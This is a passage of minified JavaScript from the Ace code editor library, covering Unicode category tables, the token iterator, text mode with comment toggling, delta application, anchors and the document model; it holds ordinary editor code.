5-02EB02ED02EF-02FF03750384038503F604820606-0608060B060E060F06E906FD06FE07F609F209F309FA09FB0AF10B700BF3-0BFA0C7F0CF10CF20D790E3F0F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-139917DB194019E0-19FF1B61-1B6A1B74-1B7C1FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE20442052207A-207C208A-208C20A0-20B8210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B2140-2144214A-214D214F2190-2328232B-23E82400-24262440-244A249C-24E92500-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE27C0-27C427C7-27CA27CC27D0-27E527F0-29822999-29D729DC-29FB29FE-2B4C2B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F309B309C319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A700-A716A720A721A789A78AA828-A82BA836-A839AA77-AA79FB29FDFCFDFDFE62FE64-FE66FE69FF04FF0BFF1C-FF1EFF3EFF40FF5CFF5EFFE0-FFE6FFE8-FFEEFFFCFFFD\",Sm:\"002B003C-003E007C007E00AC00B100D700F703F60606-060820442052207A-207C208A-208C2140-2144214B2190-2194219A219B21A021A321A621AE21CE21CF21D221D421F4-22FF2308-230B23202321237C239B-23B323DC-23E125B725C125F8-25FF266F27C0-27C427C7-27CA27CC27D0-27E527F0-27FF2900-29822999-29D729DC-29FB29FE-2AFF2B30-2B442B47-2B4CFB29FE62FE64-FE66FF0BFF1C-FF1EFF5CFF5EFFE2FFE9-FFEC\",Sc:\"002400A2-00A5060B09F209F309FB0AF10BF90E3F17DB20A0-20B8A838FDFCFE69FF04FFE0FFE1FFE5FFE6\",Sk:\"005E006000A800AF00B400B802C2-02C502D2-02DF02E5-02EB02ED02EF-02FF0375038403851FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE309B309CA700-A716A720A721A789A78AFF3EFF40FFE3\",So:\"00A600A700A900AE00B000B60482060E060F06E906FD06FE07F609FA0B700BF3-0BF80BFA0C7F0CF10CF20D790F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-1399194019E0-19FF1B61-1B6A1B74-1B7C210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B214A214C214D214F2195-2199219C-219F21A121A221A421A521A7-21AD21AF-21CD21D021D121D321D5-21F32300-2307230C-231F2322-2328232B-237B237D-239A23B4-23DB23E2-23E82400-24262440-244A249C-24E92500-25B625B8-25C025C2-25F72600-266E2670-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE2800-28FF2B00-2B2F2B452B462B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A828-A82BA836A837A839AA77-AA79FDFDFFE4FFE8FFEDFFEEFFFCFFFD\",Z:\"002000A01680180E2000-200A20282029202F205F3000\",Zs:\"002000A01680180E2000-200A202F205F3000\",Zl:\"2028\",Zp:\"2029\",C:\"0000-001F007F-009F00AD03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-0605061C061D0620065F06DD070E070F074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17B417B517DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF200B-200F202A-202E2060-206F20722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-F8FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFD-FF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFFBFFFEFFFF\",Cc:\"0000-001F007F-009F\",Cf:\"00AD0600-060306DD070F17B417B5200B-200F202A-202E2060-2064206A-206FFEFFFFF9-FFFB\",Co:\"E000-F8FF\",Cs:\"D800-DFFF\",Cn:\"03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-05FF06040605061C061D0620065F070E074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF2065-206920722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-D7FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFDFEFEFF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFF8FFFEFFFF\"})}),ace.define(\"ace/token_iterator\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t,n){this.$session=e,this.$row=t,this.$rowTokens=e.getTokens(t);var r=e.getTokenAt(t,n);this.$tokenIndex=r?r.index:-1};(function(){this.stepBackward=function(){this.$tokenIndex-=1;while(this.$tokenIndex<0){this.$row-=1;if(this.$row<0)return this.$row=0,null;this.$rowTokens=this.$session.getTokens(this.$row),this.$tokenIndex=this.$rowTokens.length-1}return this.$rowTokens[this.$tokenIndex]},this.stepForward=function(){this.$tokenIndex+=1;var e;while(this.$tokenIndex>=this.$rowTokens.length){this.$row+=1,e||(e=this.$session.getLength());if(this.$row>=e)return this.$row=e-1,null;this.$rowTokens=this.$session.getTokens(this.$row),this.$tokenIndex=0}return this.$rowTokens[this.$tokenIndex]},this.getCurrentToken=function(){return this.$rowTokens[this.$tokenIndex]},this.getCurrentTokenRow=function(){return this.$row},this.getCurrentTokenColumn=function(){var e=this.$rowTokens,t=this.$tokenIndex,n=e[t].start;if(n!==undefined)return n;n=0;while(t>0)t-=1,n+=e[t].value.length;return n},this.getCurrentTokenPosition=function(){return{row:this.$row,column:this.getCurrentTokenColumn()}}}).call(r.prototype),t.TokenIterator=r}),ace.define(\"ace/mode/text\",[\"require\",\"exports\",\"module\",\"ace/tokenizer\",\"ace/mode/text_highlight_rules\",\"ace/mode/behaviour\",\"ace/unicode\",\"ace/lib/lang\",\"ace/token_iterator\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../tokenizer\").Tokenizer,i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./behaviour\").Behaviour,o=e(\"../unicode\"),u=e(\"../lib/lang\"),a=e(\"../token_iterator\").TokenIterator,f=e(\"../range\").Range,l=function(){this.HighlightRules=i,this.$behaviour=new s};(function(){this.tokenRe=new RegExp(\"^[\"+o.packages.L+o.packages.Mn+o.packages.Mc+o.packages.Nd+o.packages.Pc+\"\\\\$_]+\",\"g\"),this.nonTokenRe=new RegExp(\"^(?:[^\"+o.packages.L+o.packages.Mn+o.packages.Mc+o.packages.Nd+o.packages.Pc+\"\\\\$_]|\\\\s])+\",\"g\"),this.getTokenizer=function(){return this.$tokenizer||(this.$highlightRules=this.$highlightRules||new this.HighlightRules,this.$tokenizer=new r(this.$highlightRules.getRules())),this.$tokenizer},this.lineCommentStart=\"\",this.blockComment=\"\",this.toggleCommentLines=function(e,t,n,r){function w(e){for(var t=n;t<=r;t++)e(i.getLine(t),t)}var i=t.doc,s=!0,o=!0,a=Infinity,f=t.getTabSize(),l=!1;if(!this.lineCommentStart){if(!this.blockComment)return!1;var c=this.blockComment.start,h=this.blockComment.end,p=new RegExp(\"^(\\\\s*)(?:\"+u.escapeRegExp(c)+\")\"),d=new RegExp(\"(?:\"+u.escapeRegExp(h)+\")\\\\s*$\"),v=function(e,t){if(g(e,t))return;if(!s||/\\S/.test(e))i.insertInLine({row:t,column:e.length},h),i.insertInLine({row:t,column:a},c)},m=function(e,t){var n;(n=e.match(d))&&i.removeInLine(t,e.length-n[0].length,e.length),(n=e.match(p))&&i.removeInLine(t,n[1].length,n[0].length)},g=function(e,n){if(p.test(e))return!0;var r=t.getTokens(n);for(var i=0;i<r.length;i++)if(r[i].type===\"comment\")return!0}}else{if(Array.isArray(this.lineCommentStart))var p=this.lineCommentStart.map(u.escapeRegExp).join(\"|\"),c=this.lineCommentStart[0];else var p=u.escapeRegExp(this.lineCommentStart),c=this.lineCommentStart;p=new RegExp(\"^(\\\\s*)(?:\"+p+\") ?\"),l=t.getUseSoftTabs();var m=function(e,t){var n=e.match(p);if(!n)return;var r=n[1].length,s=n[0].length;!b(e,r,s)&&n[0][s-1]==\" \"&&s--,i.removeInLine(t,r,s)},y=c+\" \",v=function(e,t){if(!s||/\\S/.test(e))b(e,a,a)?i.insertInLine({row:t,column:a},y):i.insertInLine({row:t,column:a},c)},g=function(e,t){return p.test(e)},b=function(e,t,n){var r=0;while(t--&&e.charAt(t)==\" \")r++;if(r%f!=0)return!1;var r=0;while(e.charAt(n++)==\" \")r++;return f>2?r%f!=f-1:r%f==0}}var E=Infinity;w(function(e,t){var n=e.search(/\\S/);n!==-1?(n<a&&(a=n),o&&!g(e,t)&&(o=!1)):E>e.length&&(E=e.length)}),a==Infinity&&(a=E,s=!1,o=!1),l&&a%f!=0&&(a=Math.floor(a/f)*f),w(o?m:v)},this.toggleBlockComment=function(e,t,n,r){var i=this.blockComment;if(!i)return;!i.start&&i[0]&&(i=i[0]);var s=new a(t,r.row,r.column),o=s.getCurrentToken(),u=t.selection,l=t.selection.toOrientedRange(),c,h;if(o&&/comment/.test(o.type)){var p,d;while(o&&/comment/.test(o.type)){var v=o.value.indexOf(i.start);if(v!=-1){var m=s.getCurrentTokenRow(),g=s.getCurrentTokenColumn()+v;p=new f(m,g,m,g+i.start.length);break}o=s.stepBackward()}var s=new a(t,r.row,r.column),o=s.getCurrentToken();while(o&&/comment/.test(o.type)){var v=o.value.indexOf(i.end);if(v!=-1){var m=s.getCurrentTokenRow(),g=s.getCurrentTokenColumn()+v;d=new f(m,g,m,g+i.end.length);break}o=s.stepForward()}d&&t.remove(d),p&&(t.remove(p),c=p.start.row,h=-i.start.length)}else h=i.start.length,c=n.start.row,t.insert(n.end,i.end),t.insert(n.start,i.start);l.start.row==c&&(l.start.column+=h),l.end.row==c&&(l.end.column+=h),t.selection.fromOrientedRange(l)},this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.autoOutdent=function(e,t,n){},this.$getIndent=function(e){return e.match(/^\\s*/)[0]},this.createWorker=function(e){return null},this.createModeDelegates=function(e){this.$embeds=[],this.$modes={};for(var t in e)e[t]&&(this.$embeds.push(t),this.$modes[t]=new e[t]);var n=[\"toggleBlockComment\",\"toggleCommentLines\",\"getNextLineIndent\",\"checkOutdent\",\"autoOutdent\",\"transformAction\",\"getCompletions\"];for(var t=0;t<n.length;t++)(function(e){var r=n[t],i=e[r];e[n[t]]=function(){return this.$delegator(r,arguments,i)}})(this)},this.$delegator=function(e,t,n){var r=t[0];typeof r!=\"string\"&&(r=r[0]);for(var i=0;i<this.$embeds.length;i++){if(!this.$modes[this.$embeds[i]])continue;var s=r.split(this.$embeds[i]);if(!s[0]&&s[1]){t[0]=s[1];var o=this.$modes[this.$embeds[i]];return o[e].apply(o,t)}}var u=n.apply(this,t);return n?u:undefined},this.transformAction=function(e,t,n,r,i){if(this.$behaviour){var s=this.$behaviour.getBehaviours();for(var o in s)if(s[o][t]){var u=s[o][t].apply(this,arguments);if(u)return u}}},this.getKeywords=function(e){if(!this.completionKeywords){var t=this.$tokenizer.rules,n=[];for(var r in t){var i=t[r];for(var s=0,o=i.length;s<o;s++)if(typeof i[s].token==\"string\")/keyword|support|storage/.test(i[s].token)&&n.push(i[s].regex);else if(typeof i[s].token==\"object\")for(var u=0,a=i[s].token.length;u<a;u++)if(/keyword|support|storage/.test(i[s].token[u])){var r=i[s].regex.match(/\\(.+?\\)/g)[u];n.push(r.substr(1,r.length-2))}}this.completionKeywords=n}return e?n.concat(this.$keywordList||[]):this.$keywordList},this.$createKeywordList=function(){return this.$highlightRules||this.getTokenizer(),this.$keywordList=this.$highlightRules.$keywordList||[]},this.getCompletions=function(e,t,n,r){var i=this.$keywordList||this.$createKeywordList();return i.map(function(e){return{name:e,value:e,score:0,meta:\"keyword\"}})},this.$id=\"ace/mode/text\"}).call(l.prototype),t.Mode=l}),ace.define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),ace.define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),ace.define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){!e instanceof o&&(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),ace.define(\"ace/background_tokenizer\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=function(e,t){this.running=!1,this.lines=[],this.states=[],this.currentLine=0,this.tokenizer=e;var n=this;this.$worker=function(){if(!n.running)return;var e=new Date,t=n.currentLine,r=-1,i=n.doc,s=t;while(n.lines[t])t++;var o=i.getLength(),u=0;n.running=!1;while(t<o){n.$tokenizeRow(t),r=t;do t++;while(n.lines[t]);u++;if(u%5===0&&new 